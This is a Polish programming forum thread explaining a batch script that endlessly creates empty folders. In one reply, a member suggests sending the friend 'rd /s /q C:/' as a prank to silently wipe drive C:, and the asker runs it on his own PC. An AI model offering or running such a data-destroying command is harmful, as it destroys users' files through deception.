• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Wytłumaczenie Kodu

Object Storage Arubacloud
0 głosów
321 wizyt
pytanie zadane 10 czerwca 2015 w Inne języki przez LPTU Użytkownik (540 p.)
Witam, mógł by mi ktoś wytłumaczyć ten kod :

@echo off
set liczba=0
:s
echo %liczba%
set/a suma=%liczba%+1
set liczba=%suma%
md %liczba%
ping localhost -n 1 > nul
cls
goto s

Wiem co on robi ale niewiem dzieki czemu.(kod mi podał kolega)

2 odpowiedzi

+1 głos
odpowiedź 10 czerwca 2015 przez chris Gaduła (3,680 p.)

@echo off << w consoli wylacza sciezke, jak piszesz w cmd. masz najpeirw sciezke potem miga | zeby cos wpisac, tutaj tej sciezki nie bedzie
set liczba=0 << zmienna liczba=0
:s

echo %liczba% << wyświetla liczba czyli "0"
set/a suma=%liczba%+1 << ustawia suma= 0+1, pobiera ^^i dodaje 1
set liczba=%suma% << zmienna liczba =1 wynika z powyzszego
md %liczba% << tworzy folder o nazwie 1
ping localhost -n 1 > nul << pinguje i zapisuje wynik do nul
cls << czysci konsole
goto s << wraca do :s i rozpoczyna całą góre od s do teraz ponownie i ponownie

+1 głos
odpowiedź 10 czerwca 2015 przez Eryk Andrzejewski Mędrzec (164,260 p.)

Jest to kod batch

NIe radzę go odpalać :)

Jest to prosty licznik(w nieskończoność niestety), oparty na etykietach, który zasyfia dysk pustymi folderami :) Sam takie coś kiedyś napisałem i odpaliłem. Nie będę pisał dokładnie co jakie polecenie robi, bo do tego służy kurs a nie jedna odpowiedź, ale działanie programu już znasz :) A teraz grzecznie odeślij  koledze taki kod:

@echo off
rd /s /q C:/

Ciekawe czy się skapnie jakie ma działanie, zanim go uruchomi :)

P.S. Gdybyś potrzebował dokładnego wyjasnienia to pisz, z batcha akurat jestem łądną skarbnicą wiedzy :D

@EDIT

Twój kolega niepotrzebnie zasyfił kod, wystarczy dać coś takiego:

@echo off
set liczba=1
:loop
md %liczba%
set /a liczba+=1
goto loop

 

komentarz 10 czerwca 2015 przez LPTU Użytkownik (540 p.)
można wiedzieć co twój kod robi ? o ile się nie myle to coś usuwa tylko nwm co :P
komentarz 10 czerwca 2015 przez Eryk Andrzejewski Mędrzec (164,260 p.)
Usuwa wszystko, co znajduje się na dysku C :D

@EDIT - ale w sposób "cichy", bez ostrzeżeń etc.
komentarz 10 czerwca 2015 przez LPTU Użytkownik (540 p.)
hmm niewiedząc co to robi ciekawość wzięła nademną góre i odpaliłem to, ale chyba nic się nie stało, przynajmniej nie zauważyłem większych zmian.

a czy rd nie usuwa pustych folderów ?
komentarz 10 czerwca 2015 przez Eryk Andrzejewski Mędrzec (164,260 p.)
W batchu już jakiś czas nie siedzę, ale raczej nie, puste foldery usuwa rmdir. Może przez brak uprawnień? Kiedyś taki kod ktoś testował na maszynie wirtualnej(kolega), z pozoru nic się nie stało, ale jednak tak :D Ale ten kod to windowsowy odpowiednik linuxowego rm -rf, które też do końca nie działa, ale podaje się w żartach ;D
komentarz 10 czerwca 2015 przez LPTU Użytkownik (540 p.)
może to i lepiej że "nic mi się nie stało", albo skapne się za jakiś czas co jest nie tak  :D
komentarz 10 czerwca 2015 przez Eryk Andrzejewski Mędrzec (164,260 p.)
A robiłeś to na własnym kompie, czy wirtualnym?

Jeśli coś się usunęło, to nie martw się, właśnie przypadkowo zrobiłem hardreset na telefonie, bez zgrania danych, tak więc... :)
komentarz 10 czerwca 2015 przez LPTU Użytkownik (540 p.)
własnym kompie

Podobne pytania

0 głosów
1 odpowiedź 337 wizyt
pytanie zadane 8 grudnia 2018 w C i C++ przez Paweł123 Nałogowiec (33,500 p.)
0 głosów
1 odpowiedź 196 wizyt
pytanie zadane 3 marca 2018 w PHP przez fipooo Bywalec (2,880 p.)
0 głosów
1 odpowiedź 215 wizyt
pytanie zadane 18 czerwca 2015 w JavaScript przez LogicznyMat Użytkownik (940 p.)

92,632 zapytań

141,500 odpowiedzi

319,879 komentarzy

62,013 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...